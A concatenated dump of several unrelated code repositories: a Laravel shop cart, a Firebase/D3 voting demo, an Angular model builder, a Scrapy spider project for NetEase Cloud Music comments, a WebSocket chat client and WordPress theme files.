'name' => 'required|min:3',
'description' => 'required|max:200'
];
protected $fillable = ['name','description'];
//$category->products
public function products()
{
return $this->hasMany(Product::class);
}
public function getFeaturedImageUrlAttribute()
{
if($this->image)
return '/images/categories/'.$this->image;
$first_product = $this->products->first();
if($first_product)
return $first_product->featured_image_url;
return '/images/default.png';
}
}
<file_sep>/app/Http/Controllers/CartDetailController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\CartDetail;
class CartDetailController extends Controller
{
public function __construct()
{
$this->middleware('auth');
}
public function store(Request $request ){
$car_detail = new CartDetail();
$car_detail->cart_id = auth()->user()->cart->id;
$car_detail->product_id = $request->product_id;
$car_detail->quantity = $request->quantity;
$car_detail->save();
$notification = 'El producto se agregó al carrito de compras satisfactoriamente.';
return back()->with(compact('notification'));
}
public function destroy(Request $request){
$car_detail = CartDetail::find($request->car_detail_id);
//para evitar una vulnerabilidad de q un usuario pueda eliminar otro detalle
if($car_detail->cart_id == auth()->user()->cart->id)
$car_detail->delete();
$notification = "El producto se eliminó correctamente de su carrito de compras";
return back()->with(compact('notification'));
}
}
| 8d0cda8d4ffd4045f9c6c355e1613174ba5d6ab0 | [
"PHP"
] | 4 | PHP | joubits/app-shop | 9a843f46f3f7885373e1ce4d49ff2af46dba6ec5 | fc3514fbaf1834df2a72c869d5537adfe954c981 |
refs/heads/master | <file_sep>window.onload = inicializar;
var refPresidentes;
function inicializar(){
// Me devuelve un array con todos los elementos que sean de la clase candidato
imagenesDeCandidatos = document.getElementsByClassName("candidato");
//ejecutar numVotos
for (var i = 0; i < imagenesDeCandidatos.length; i++){
imagenesDeCandidatos[i].addEventListener("click", aumentarNumVotos, false)
}
// Funcion
mostrarGraficoConDatosDeFirebase();
}
function aumentarNumVotos(event){
var nombreCandidato = this.getAttribute("data-nombre-candidato");
var refCandidato = refPresidentes.child(nombreCandidato);
refCandidato.once("value",function(snapshot){
var candidato = snapshot.val();
var numVotosActualizado = candidato.numVotos + 1;
refCandidato.update({nombre: candidato.nombre,numVotos: numVotosActualizado});
});
}
function mostrarGraficoConDatosDeFirebase(){
refPresidentes = firebase.database().ref().child("presidentes");
refPresidentes.on("value", function(snapshot){
var datosDeFirebase = snapshot.val();
var datosAMostrar = [];
var total= 0;
for(var key in datosDeFirebase){
total += datosDeFirebase[key].numVotos;
}
for(var key in datosDeFirebase){
var porcentajeDeVotos = datosDeFirebase[key].numVotos / total;
datosAMostrar.push({valorx: datosDeFirebase[key].nombre, valory: porcentajeDeVotos});
}
document.getElementById("grafica").innerHTML="";
dibujar(datosAMostrar);
});
}<file_sep># D3js Demo
THis is demo using d3js and firebase | 697ee55008678fa9007ddffb38c29f2de262c9c5 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | cnahuina/demoD3js | 5acbc1168e90e66fa641ab5b0b4f723f1f400d11 | 42958066f482e3642587e661d2e0bc41528fad32 |
refs/heads/master | <file_sep># Mezzo Model Builder
[](https://github.com/MezzoLabs/ModelBuilder/blob/master/package.json)
[](https://github.com/MezzoLabs/ModelBuilder/blob/master/package.json)<file_sep>module.exports = [
{
when: '/',
templateUrl: 'model-builder/model-builder.view.html',
controller: 'ModelBuilderController'
}
];<file_sep>exports.name = 'ModelBuilderController';
exports.controller = /*@ngInject*/ function ModelBuilderController($scope, componentService, uid){
$scope.tab = 'add';
$scope.fields = [];
$scope.selectedField = null;
$scope.showTab = showTab;
$scope.addField = addField;
$scope.selectField = selectField;
$scope.deleteField = deleteField;
function showTab(tab, $event){
if($event){
$event.preventDefault();
}
if(tab === 'edit' && !$scope.selectedField) return;
$scope.tab = tab;
$('tab-heading-' + tab).tab('show');
if(tab === 'add'){
$scope.selectedField = null;
}
}
function addField(name){
var field = {
id: uid(),
name: name,
options: {},
mainDirective: 'mezzo-' + name,
optionsDirective: 'mezzo-' + name + '-options'
};
componentService.setOptions(field.options);
$scope.fields.push(field);
}
function selectField(field){
$scope.selectedField = field;
componentService.setOptions(field.options);
showTab('edit');
}
function unselect(){
$scope.selectedField = null;
showTab('add');
}
function deleteField(field){
unselect();
_.remove($scope.fields, field);
}
};<file_sep>var app = angular.module('mezzo-model-builder', [ 'ngRoute', 'templates', 'angular-sortable-view' ]);
app.config(require('./config'));
require('./register')(app);<file_sep>var elixir = require('laravel-elixir');
var blueprint = require('gulp-blueprint');
elixir(function(mix){
blueprint(function modify(draft){
draft.elixir = mix;
});
}); | 9ccd2f281e68f291df5dbc1fe986bb54e30018fc | [
"Markdown",
"JavaScript"
] | 5 | Markdown | MezzoLabs/ModelBuilderAngular | 7ca3eacb47094ba2128b4cee66ff649954679524 | d8241d5044ce100bccf2e876f71c19db68698749 |
refs/heads/master | <file_sep># encoding:utf8
from tools import get_db, get_redis
import threading
import json
def main():
db = get_db()
r = get_redis()
albums = db.album.find()
for album in albums:
del album['_id']
r.lpush('albums:data', json.dumps(album))
print album
print 'OK'
if __name__ == '__main__':
main()<file_sep># -*- coding: utf-8 -*-
import scrapy
from ..lib.tools import get_db, get_redis
from ..lib.crypto import get_data
from ..items import SongsItem
from scrapy_redis.spiders import RedisSpider
import json
import random
import sys
from ..log import logger
datas = [get_data() for i in range(2)]
class SongsSpider(RedisSpider):
name = 'songs'
allowed_domains = []
def start_requests(self):
r = get_redis()
while True:
data = r.blpop('albums:data')[1]
print data
album = json.loads(data)
req = scrapy.Request('https://music.163.com/album?id=%s'%album['id'],
callback=self.parse,
meta={'singer':album['singer'],
'album':album['name'],
'data':data},)
yield req
# yield scrapy.Request('https://www.baidu.com')
def parse(self, response):
if response.status == 503:
logger.error(u'被ban了')
sys.exit()
tag_a = response.css('ul.f-hide a')
headers = {
'Cookie': 'appver=1.5.0.75771;',
'Referer': 'http://music.163.com/',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36'
}
for a in tag_a:
id = a.css('::attr(href)')[0].extract().split('=')[1]
name = a.css('::text')[0].extract()
singer = response.meta['singer']
album = response.meta['album']
url = 'https://music.163.com/weapi/v1/resource/comments/R_SO_4_%s?csrf_token='%id
req = scrapy.FormRequest(url, formdata=random.choice(datas), headers=headers, callback=self.get_comment, meta={
'singer': singer,
'album': album,
'id': id,
'name': name,
})
yield req
def get_comment(self, response):
# try:
# res = json.loads(response.text)
# except ValueError:
# logger.error(u'未返回json!!!')
# return
res = json.loads(response.text)
hotComments = res['hotComments']
comments = []
for comment in hotComments:
single_comment = {
'nickname': comment['user']['nickname'],
'time': comment['time'],
'content': comment['content'],
'likedCount': comment['likedCount']
}
comments.append(single_comment)
item = SongsItem()
item['name'] = response.meta['name']
item['singer'] = response.meta['singer']
item['album'] = response.meta['album']
item['id'] = response.meta['id']
item['hotcomment'] = json.dumps(comments)
item['commentCount'] = res['total']
yield item
<file_sep># encoding:utf8
import logging
logging.basicConfig(level=logging.NOTSET)
logger = logging.getLogger()
logger.setLevel(logging.INFO)
logfile = '../log'
fh = logging.FileHandler(logfile, mode='a')
fh.setLevel(logging.DEBUG)
formatter = logging.Formatter("%(asctime)s - %(filename)s[line:%(lineno)d] - %(levelname)s: %(message)s")
fh.setFormatter(formatter)
logger.addHandler(fh)
# logger.debug('this is a logger debug message')
# logger.info('this is a logger info message')
# logger.warning('this is a logger warning message')
# logger.error('this is a logger error message')
# logger.critical('this is a logger critical message')
<file_sep># -*- coding: utf-8 -*-
import scrapy
from ..lib.tools import get_db
from ..items import AlbumItem
class AlbumSpider(scrapy.Spider):
name = 'album'
allowed_domains = ['https://music.163.com']
def start_requests(self):
db = get_db()
singers = [i for i in db.singers.find()]
urls = [('https://music.163.com/artist/album?id=%s&limit=1000'%singer['id'], singer['singer']) for singer in singers]
for url in urls:
req = scrapy.Request(url[0], callback=self.get_album_url, meta={'singer':url[1]})
yield req
def get_album_url(self, response):
item = AlbumItem()
tag_a = response.css('a.tit.s-fc0')
for a in tag_a:
item['id'] = a.css('::attr(href)').extract()
item['name'] = a.css('::text').extract()
item['singer'] = response.meta['singer']
yield item
<file_sep>#coding = utf-8
from Crypto.Cipher import AES
import base64
import requests
import json
import random
from binascii import b2a_hex, a2b_hex
headers = {
'Cookie': 'appver=1.5.0.75771;',
'Referer': 'http://music.163.com/',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36'
}
pad = lambda s: s + (16 - len(s) % 16) * chr(0)
p1 = '{"csrf_token":""}'
# p1 = "{rid:\"\", offset:\"0\", total:\"true\", limit:\"100\", csrf_token:\"\"}"
p2 = "010001"
p3 = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7"
p4 = "0CoJUm6Qyw8W8jud"
p5 = '0102030405060708'
p6 = "pJqbCBpOjVsvIgb1"
def aesEncrypt(text, secKey):
pad = 16 - len(text) % 16
text = text + pad * chr(pad)
encryptor = AES.new(secKey, 2, '0102030405060708')
ciphertext = encryptor.encrypt(text)
ciphertext = base64.b64encode(ciphertext)
return ciphertext
def rsaEncrypt(text, pubKey, modulus):
text = text[::-1]
rs = int(text.encode('hex'), 16)**int(pubKey, 16)%int(modulus, 16)
return format(rs, 'x').zfill(256)
def get_data():
iv = get_iv(16)
encText = aesEncrypt(p1, p4)
encText = aesEncrypt(encText, iv)
encSecKey = rsaEncrypt(iv, p2, p3)
print 1
return {'params':encText, 'encSecKey':encSecKey}
def get_iv(n):
b = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return ''.join([random.choice(b) for i in range(n)])
def get_json(url):
data = get_data()
response = requests.post(url, headers=headers, data=data)
return response.content
if __name__ == "__main__":
url = "http://music.163.com/weapi/v1/resource/comments/R_SO_4_30953009/?csrf_token="
iv = "FbKpe7TcA58lPT1s"
print get_json(url)
<file_sep># encoding:utf8
from tools import get_db, get_redis
import threading
import json
def main():
r = get_redis()
db = get_db()
while True:
item_unicode = r.blpop('songs:items')[1]
print item_unicode
item_dict = json.loads(item_unicode)
db.songs.insert_one(item_dict)
print 'OK'
if __name__ == '__main__':
main()
<file_sep># -*- coding: utf-8 -*-
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html
from pymongo import MongoClient
import settings
settings = settings.__dict__
class WangyiyunPipeline(object):
def __init__(self):
connection = MongoClient(
settings['MONGODB_SERVER'],
settings['MONGODB_PORT']
)
self.db = connection[settings['MONGODB_DB']]
def process_item(self, item, spider):
print '*'*80
print spider.name
collection = self.db.get_collection(spider.name)
collection.insert(dict(item))
return item<file_sep># -*- coding: utf-8 -*-
import scrapy
from ..items import SingersItem
class SingersSpider(scrapy.Spider):
name = 'singers'
allowed_domains = ['https://music.163.com']
def start_requests(self):
url = 'https://music.163.com/weapi/artist/top?csrf_token='
singer_urls = [2001, 2002, 2003, 1001, 1002, 1003, 6001, 6002, 6003, 7001, 7002, 7003, 4001, 4002, 4003]
urls = ['https://music.163.com/discover/artist/cat?id=%s'%num for num in singer_urls]
for url in urls:
req = scrapy.Request(url, callback=self.get_singer_url)
yield req
def get_singer_url(self, response):
tag_a = response.css('a.nm.nm-icn.f-thide.s-fc0')
for a in tag_a:
item = SingersItem()
item['id'] = a.css('::attr(href)').extract()[0].split('=')[1]
item['singer'] = a.css('::text')[0].extract()
yield item
<file_sep>from pymongo import MongoClient
import redis
def get_db():
connection = MongoClient(
'localhost',
27017
)
db = connection['wangyiyun']
return db
def get_redis(host='192.168.127.12', port=16666, passwd='<PASSWORD>'):
r = redis.Redis(host=host, port=port, decode_responses=True, password=passwd)
return r
<file_sep># -*- coding: utf-8 -*-
import scrapy
import json
import urlparse
from ..items import SingersItem, AlbumItem
from ..lib.tools import get_db
class CommentSpider(scrapy.Spider):
name = 'comment'
allowed_domains = ['https://music.163.com']
def get_song_url(self, response):
headers = {
'Referer': 'http://music.163.com/',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
urls = response.css('div.g-wrap6 a[href^="/song?id="]::attr(href)').extract()
for url in urls:
url = 'https://music.163.com/weapi/v1/resource/comments/R_SO_4_29822017?csrf_token=' % (url.split('=')[1])
print url
# yield scrapy.FormRequest(url=url, formdata=data, callback=self.get_comment, headers=headers, dont_filter=True)
def get_comment(self, response):
resp_json = json.loads(response.text)
for comment in resp_json['hotComments']:
print comment['content']
print comment['likedCount']
| e5bb455164399c62e33fcc4dfa6dcf563e5e5771 | [
"Python"
] | 10 | Python | wushaojun321/wangyiyunSpider | 2e1fa17e4700bbc3288d25f4d568ffa32361b7fe | befacaefb80fe36db85e0ea4b5fc165b0ee8b42e |
refs/heads/master | <repo_name>kayex/portaln-chat<file_sep>/build/message.js
// Generated by CoffeeScript 1.6.1
(function() {
var MessageSerializer;
MessageSerializer = (function() {
function MessageSerializer() {}
MessageSerializer.serialize = function(messageObject) {
var content, fromUser, serialized, timeStamp, toUser;
timeStamp = messageObject.timeStamp;
toUser = messageObject.toUser;
fromUser = messageObject.fromUser;
content = messageObject.content.replace("|", "");
return serialized = "" + timeStamp + "|" + toUser + "|" + fromUser + "|" + content;
};
MessageSerializer.deserialize = function(message) {
var messageObject, split;
split = message.split("|");
return messageObject = {
timeStamp: split[0],
toUser: split[1],
fromUser: split[2],
content: split[3]
};
};
return MessageSerializer;
})();
if (typeof window === "undefined" || window === null) {
module.exports = exports;
exports.MessageSerializer = MessageSerializer;
} else {
window.MessageSerializer = MessageSerializer;
}
}).call(this);
<file_sep>/build/client.js
// Generated by CoffeeScript 1.6.1
(function() {
var MS, config, connect, dh, displayInfo, init, lastMessageContent, lastMessageTime, sendMessage, ws;
dh = void 0;
ws = void 0;
lastMessageTime = 0;
lastMessageContent = "";
window.activeUser = "User_0123";
MS = window.MessageSerializer;
config = {
server: "ws://arch.jvester.se:1337"
};
init = function() {
dh = new window.DOMHandle();
dh.initDOMChange();
dh.chatTextarea.attr("placeholder", "Enter your desired username.");
dh.on("submit", function(text) {
window.activeUser = text.content;
dh.chatTextarea.attr("placeholder", "Enter your message here.");
return dh.on("submit", function(text) {
sendMessage({
timeStamp: Date.now(),
fromUser: window.activeUser,
toUser: "global",
content: text.content
});
lastMessageTime = Date.now();
return lastMessageContent = text.content;
});
});
return connect(config);
};
sendMessage = function(messageObject) {
return ws.send(MS.serialize(messageObject));
};
displayInfo = function(info) {
return dh.chatStatus.html(info);
};
connect = function(config) {
ws = new WebSocket(config.server);
dh.chatStatus.html("Connecting...");
ws.onopen = function() {
displayInfo("Connection established to " + ws.url);
return displayInfo("Connection status: " + ws.readyState);
};
return ws.onmessage = function(message) {
if (MS.deserialize(message.data).content === lastMessageContent) {
console.log("Roundtrip: " + (Date.now() - lastMessageTime) + " ms - '" + (MS.deserialize(message.data).content) + "'");
}
return dh.addMessageToPage(MS.deserialize(message.data));
};
};
init();
}).call(this);
<file_sep>/build/navchange.js
// Generated by CoffeeScript 1.6.1
(function() {
var dh;
dh = new window.DOMHandle();
dh.pageNavButton.html("Chat");
}).call(this);
<file_sep>/README.md
portaln-chat
============
Instant Messaging for PortalN 2.0<file_sep>/build/domhandle.js
// Generated by CoffeeScript 1.6.1
(function() {
var addZeroesToTime, unixToTime;
window.DOMHandle = (function() {
function DOMHandle() {
this.chatStatus = null;
this.chatMainOutput = null;
this.chatTextarea = null;
this.pageHeader = this.getHeader();
this.pageTitle = this.getTitle();
this.pageBody = this.getBody();
this.pageNavButton = this.getNavButton();
this.pageCopyright = this.getCopyright();
this.callbacks = {
"submit": void 0
};
this.CSS = {
chatStatus: {
"width": "100%",
"padding": "7px",
"text-align": "left",
"background-color": "#fff"
},
chatMainOutput: {
"border": "1px solid",
"overflow": "scroll",
"word-wrap": "break-word",
"height": "375px",
"width": "100%",
"text-align": "left",
"background-color": "#fff"
},
chatTextarea: {
"font-size": "100%",
"margin-top": "15px",
"background-color": "#fff"
},
messageAuthor: {
"width": "100%",
"border-color": "#ddd",
"border-style": "solid",
"padding": "7px 15px 3px 15px",
"font-family": "Rockwell, KuristaSemibold, Arial",
"font-size": "16px",
"background-color": "#fff",
"float": "left",
"color": "#41b7d8"
},
messageContent: {
"width": "100%",
"padding": "3px 15px 8px 15px",
"background-color": "#fff",
"float": "left",
"border-bottom": "1px solid #eee",
"line-height": "120%"
}
};
this.HTML = {
body: "<div id=\"chatStatus\"></div>\n<div id=\"chatMainOutput\"></div>\n<input type=\"text\" id=\"chatTextarea\">",
messageAuthor: "<div class=\"messageAuthor\"></div>",
messageContent: "<div class=\"messageContent\"></div>"
};
}
DOMHandle.prototype.initDOMChange = function() {
var _this = this;
this.pageHeader.html("SkolportalN 2.0 Instant Messaging Service");
this.pageTitle.html("");
this.pageBody.html("Body");
this.pageNavButton.html("Chat");
this.pageCopyright.html("Injected by Epoch2");
this.pageBody.html(this.HTML.body);
this.chatStatus = $("#chatStatus");
this.chatMainOutput = $("#chatMainOutput");
this.chatTextarea = $("#chatTextarea");
this.chatStatus.css(this.CSS.chatStatus);
this.chatMainOutput.css(this.CSS.chatMainOutput);
this.chatTextarea.css(this.CSS.chatTextarea);
this.chatStatus.html("Not connected.");
this.chatTextarea.focus();
return this.chatTextarea.keypress(function() {
if (event.keyCode === 13) {
_this.emit("submit", {
content: _this.chatTextarea.val()
});
return _this.chatTextarea.val("");
}
});
};
DOMHandle.prototype.getHeader = function() {
return $("div.header");
};
DOMHandle.prototype.getTitle = function() {
return $("div.title");
};
DOMHandle.prototype.getBody = function() {
return $("div.body");
};
DOMHandle.prototype.getNavButton = function() {
return $("a:contains(Resa)");
};
DOMHandle.prototype.getCopyright = function() {
return $("#copyright");
};
DOMHandle.prototype.emit = function(event, arg) {
var callback, evt, _ref, _results;
_ref = this.callbacks;
_results = [];
for (evt in _ref) {
callback = _ref[evt];
if (evt === event) {
_results.push(callback(arg));
}
}
return _results;
};
DOMHandle.prototype.on = function(event, callback) {
return this.callbacks[event] = callback;
};
DOMHandle.prototype.addMessageToPage = function(messageObject) {
var authorTag, contentTag, timeStamp, timeStampString;
authorTag = $(this.HTML.messageAuthor);
authorTag.css(this.CSS.messageAuthor);
timeStamp = addZeroesToTime(unixToTime(messageObject.timeStamp));
timeStampString = "" + timeStamp.hours + ":" + timeStamp.minutes + ":" + timeStamp.seconds;
authorTag.html("" + timeStampString + " - " + messageObject.fromUser);
contentTag = $(this.HTML.messageContent);
contentTag.css(this.CSS.messageContent);
contentTag.html(messageObject.content);
authorTag.appendTo(this.chatMainOutput);
contentTag.appendTo(this.chatMainOutput);
return $(this.chatMainOutput).animate({
scrollTop: $(this.chatMainOutput).prop("scrollHeight")
});
};
return DOMHandle;
})();
unixToTime = function(unixtime) {
var date;
date = new Date(Number(unixtime));
return {
hours: date.getHours(),
minutes: date.getMinutes(),
seconds: date.getSeconds()
};
};
addZeroesToTime = function(timeObject) {
var addzero, key, time;
addzero = function(time) {
if (("" + time).length === 1) {
return "0" + time;
} else {
return "" + time;
}
};
for (key in timeObject) {
time = timeObject[key];
timeObject[key] = addzero(time);
}
return timeObject;
};
}).call(this);
| 9ced6c993ceb2f54b9ebdb341c7371f913b93f5e | [
"JavaScript",
"Markdown"
] | 5 | JavaScript | kayex/portaln-chat | 0458ed3207b1f93a92ef4d405a29dec4668cd7d6 | c5cf4195ef53db638f5cb8387dbf923f29795886 |
refs/heads/main | <file_sep>const title = document.querySelectorAll("h1"),
dateTitle = title[0],
clockTitle = title[1];
function getDate(){
const date = new Date();
const year = date.getFullYear();
const month = date.getMonth() + 1;
const day = date.getDate();
dateTitle.innerText = `
${year}년 ${month}월 ${day}일`;
}
function getTime(){
const date = new Date();
const minutes = date.getMinutes();
const hours = date.getHours();
const seconds = date.getSeconds();
clockTitle.innerText = `${hours < 10 ? `0${hours}` : hours}:${
minutes < 10 ? `0${minutes}` : minutes}:${
seconds < 10 ? `0${seconds}` : seconds}
`;
if (hours===24 && minutes===00 && seconds===00) {
getDate();
}
}
function init(){
getDate();
getTime();
setInterval(getTime, 1000);
}
init();<file_sep>const taskForm = document.querySelector(".js-TaskForm"),
taskInupt = taskForm.querySelector("input"),
pendingList = document.querySelector(".js-pending"),
finishedList = document.querySelector(".js-finished");
const PENDING_LS = "PENDING";
const FINISHED_LS = "FINISHED";
let pending = [];
let finished = [];
function deleteTask(event) {
const btn = event.target;
const li = btn.parentNode;
const ulClassName = li.parentNode.className;
if (ulClassName === "js-pending") {
pendingList.removeChild(li);
pending = cleanCotnet(pending, li);
} else {
finishedList.removeChild(li);
finished = cleanCotnet(finished, li);
}
saveTask();
}
function getContent(checkTask, checkTask_li) {
const content = checkTask.filter(function (toDo) {
//console.log(toDo.id, li.id); //왼쪽이 숫자 / 오른쪽이 stirng
return toDo.id === parseInt(checkTask_li.id, 10);
});
return content[0];
}
function cleanCotnet(checkTask, checkTask_li) {
const content = checkTask.filter(function (toDo) {
return toDo.id !== parseInt(checkTask_li.id, 10);
});
return content;
}
function moveTask(event) {
const btn = event.target;
const li = btn.parentNode;
const ulClassName = li.parentNode.className;
if (ulClassName === "js-pending") {
finishedList.appendChild(li);
btn.innerText = "⏪";
const cotent = getContent(pending, li);
pending = cleanCotnet(pending, li);
finished.push(cotent);
} else {
pendingList.appendChild(li);
btn.innerText = "✅";
const cotent = getContent(finished, li);
finished = cleanCotnet(finished, li);
pending.push(cotent);
}
saveTask();
}
function addTask(text, flag = 1) {
const li = document.createElement("li");
const delBtn = document.createElement("button");
const checkBtn = document.createElement("button");
const span = document.createElement("span");
const newId = pending.length + 1;
delBtn.innerText = "❌";
delBtn.addEventListener("click", deleteTask);
if (flag === 1) {
checkBtn.innerText = "✅";
} else {
checkBtn.innerText = "⏪";
}
checkBtn.addEventListener("click", moveTask);
span.innerText = text;
li.appendChild(span);
li.appendChild(delBtn);
li.appendChild(checkBtn);
li.id = newId;
const pendingObj = {
text: text,
id: newId
};
if (flag === 1) {
pendingList.appendChild(li);
pending.push(pendingObj);
} else {
finishedList.appendChild(li);
finished.push(pendingObj);
}
saveTask();
}
function handleSubmit(event) {
event.preventDefault();
const currentValue = taskInupt.value;
addTask(currentValue);
taskInupt.value = "";
}
function saveTask() {
localStorage.setItem(PENDING_LS, JSON.stringify(pending));
localStorage.setItem(FINISHED_LS, JSON.stringify(finished));
//console.log(pending, finished);
}
function loadTask() {
const loadedPending = localStorage.getItem(PENDING_LS);
const loadedFinshed = localStorage.getItem(FINISHED_LS);
if (loadedPending != null) {
const parsedPending = JSON.parse(loadedPending);
parsedPending.forEach(function (pending) {
addTask(pending.text);
});
}
if (loadedFinshed != null) {
const parsedFinished = JSON.parse(loadedFinshed);
parsedFinished.forEach(function (finished) {
addTask(finished.text, 2);
});
}
}
function init() {
loadTask();
taskForm.addEventListener("submit", handleSubmit);
}
init(); | f41a0893c1c89e3405c8d4537368b0c081ea6d54 | [
"JavaScript"
] | 2 | JavaScript | LeeJiHey/todoList | 1e740035965ca3ebb712e74293e5f094cc3f9f60 | 491bcae1ad655eec096ba5a2c778bf1d1e35449d |
refs/heads/master | <repo_name>fitodac/TWWF<file_sep>/wp-content/themes/TWWF/lib/plugins/megamenu-1.3.1/js/theme-editor.js
/*global console,ajaxurl,$,jQuery*/
/**
*
*/
jQuery(function ($) {
"use strict";
$("input[type=range]").on('input change', function() {
console.log($(this).val());
$(this).next('.pixel_value').html($(this).val() + 'px');
});
$(".mm_colorpicker").spectrum({
preferredFormat: "rgb",
showInput: true,
showAlpha: true,
clickoutFiresChange: true
});
$(".confirm").on("click", function() {
return confirm(megamenu_theme_editor.confirm);
});
$('.icon_dropdown').on("change", function() {
var icon = $("option:selected", $(this)).attr('data-class');
// clear and add selected dashicon class
$(this).prev('.selected_icon').removeClass().addClass(icon).addClass('selected_icon');
});
$('.nav-tab-wrapper a').on('click', function() {
$(this).siblings().removeClass('nav-tab-active');
$(this).addClass('nav-tab-active');
var tab = $(this).attr('data-tab');
$('.row').hide();
$('.row[data-tab=' + tab + ']').show();
});
});<file_sep>/wp-content/themes/TWWF/assets/images/close42.php
<?xml version="1.0" encoding="iso-8859-1"?>
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg id="svg-close" viewBox="0 0 32 32" style="enable-background:new 0 0 32 32;">
<g>
<path style="fill-rule:evenodd;clip-rule:evenodd;" d="M21.717,10.283c-0.394-0.394-1.032-0.394-1.425,0l-4.297,4.297
l-4.237-4.237c-0.391-0.391-1.024-0.391-1.414,0c-0.391,0.391-0.391,1.024,0,1.414l4.237,4.237l-4.266,4.266
c-0.394,0.394-0.394,1.032,0,1.425c0.394,0.393,1.032,0.393,1.425,0l4.266-4.266l4.237,4.237c0.391,0.391,1.024,0.391,1.414,0
c0.391-0.391,0.391-1.024,0-1.414l-4.237-4.237l4.297-4.297C22.111,11.315,22.111,10.676,21.717,10.283z M16,0
C7.163,0,0,7.163,0,16s7.163,16,16,16c8.836,0,16-7.164,16-16S24.837,0,16,0z M16,30C8.268,30,2,23.732,2,16S8.268,2,16,2
s14,6.268,14,14S23.732,30,16,30z"/>
</g>
</svg>
<file_sep>/wp-content/themes/TWWF/lib/theme-options/fdc-options.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
require_once get_template_directory() . '/lib/theme-options/fdc-variables.php';
/*----------------------------------------------------------------*/
/* SETTINGS PAGE */
/*----------------------------------------------------------------*/
function fdc_theme_front_page_settings(){
if(!current_user_can('manage_options')):
wp_die('You do not have sufficient permissions to access this page.');
else:
?>
<!-- <div id="message" class="updated">Settings saved</div> -->
<section class="wrap options-page">
<?php if( isset($_POST['update_settings']) ): ?>
<div class="container">
<div class="alert alert-success alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert"><span aria-hidden="true">×</span><span class="sr-only">Close</span></button>
<strong>UPDATED!</strong>
</div><!-- alert end -->
</div><!-- container end -->
<?php endif; ?>
<section class="container">
<div class="col-sm-12">
<h2>THEME OPTIONS</h2>
<hr/>
<p> </p>
</div><!-- col end -->
<!-- NAVBAR -->
<div class="col-sm-2">
<ul class="nav nav-pills">
<a href="#general-settings" type="button" class="btn" role="tab" data-toggle="pill"><i class="dashicons dashicons-admin-settings"></i> General Settings</a>
<a href="#social" type="button" class="btn" role="tab" data-toggle="pill"><i class="dashicons dashicons-admin-comments"></i> Social Media</a>
<a href="#layout" type="button" class="btn" role="tab" data-toggle="pill"><i class="dashicons dashicons-welcome-widgets-menus"></i> Layout</a>
<a href="#plugins" type="button" class="btn" role="tab" data-toggle="pill"><i class="dashicons dashicons-admin-plugins"></i> Plugins</a>
<a href="#admin" type="button" class="btn" role="tab" data-toggle="pill"><i class="dashicons dashicons-admin-generic"></i> Admin</a>
<a href="#support" type="button" class="btn" role="tab" data-toggle="pill"><i class="dashicons dashicons-sos"></i> Support</a>
</ul>
</div><!-- col end -->
<div class="col-sm-10">
<form method="POST" enctype="multipart/form-data" action="">
<div class="tab-content">
<div class="tab-pane fade in active" id="general-settings">
<div class="panel panel-default">
<div class="panel-body">
<div class="row">
<div class="col-sm-12">
<h3>General Settings</h3>
</div>
</div><!-- row end -->
<div class="well">
<div class="row">
<div class="col-sm-6">
<?php require_once('options/responsive.php'); ?>
</div><!-- col end -->
<div class="col-sm-6">
<?php require_once('options/layout-type.php'); ?>
</div><!-- col end -->
</div><!-- row end -->
</div><!-- well end -->
<div class="well">
<?php require_once('options/bloginfo-shortcodes.php'); ?>
</div><!-- well end -->
</div><!-- panel-body end -->
</div><!-- panel end -->
</div><!-- general-settings end -->
<div class="tab-pane fade" id="social">
<div class="panel panel-default">
<div class="panel-body">
<h3>Social Media</h3>
<div class="well">
<?php require_once('options/social.php'); ?>
</div><!-- well end -->
</div><!-- panel-body end -->
</div><!-- panel end -->
</div><!-- social end -->
<div class="tab-pane fade" id="support">
<div class="panel panel-default">
<div class="panel-body">
<h3>Support</h3>
<div class="well">
<?php require_once('options/support.php'); ?>
</div><!-- well end -->
</div><!-- panel-body end -->
</div><!-- panel end -->
</div><!-- support end -->
<div class="tab-pane fade" id="layout">
<div class="panel panel-default">
<div class="panel-body">
<h3>Layout</h3>
<div class="well">
<?php require_once('options/layout.php'); ?>
</div><!-- well end -->
</div><!-- panel-body end -->
</div><!-- panel end -->
</div><!-- layout end -->
<div class="tab-pane fade" id="plugins">
<div class="panel panel-default">
<div class="panel-body">
<h3>Plugins</h3>
<div class="well">
<?php require_once('options/plugins.php'); ?>
</div><!-- well end -->
</div><!-- panel-body end -->
</div><!-- panel end -->
</div><!-- plugins end -->
<div class="tab-pane fade" id="admin">
<div class="panel panel-default">
<div class="panel-body">
<h3>Admin</h3>
<?php require_once('options/admin.php'); ?>
</div><!-- panel-body end -->
</div><!-- panel end -->
</div><!-- admin end -->
<button type="submit" class="btn btn-primary">Save</button>
<input type="hidden" name="update_settings" value="Y" />
<!-- <input type="submit" value="Save settings" class="btn btn-default"/> -->
</div><!-- tab-content end -->
</form>
</div><!-- col end -->
</section><!-- container end -->
</section><!-- wrap end -->
<?php
endif;
}//fdc_theme_front_page_settings()
/*----------------------------------------------------------------*/
/* MENU */
/*----------------------------------------------------------------*/
function fdc_setup_theme_admin_menus(){
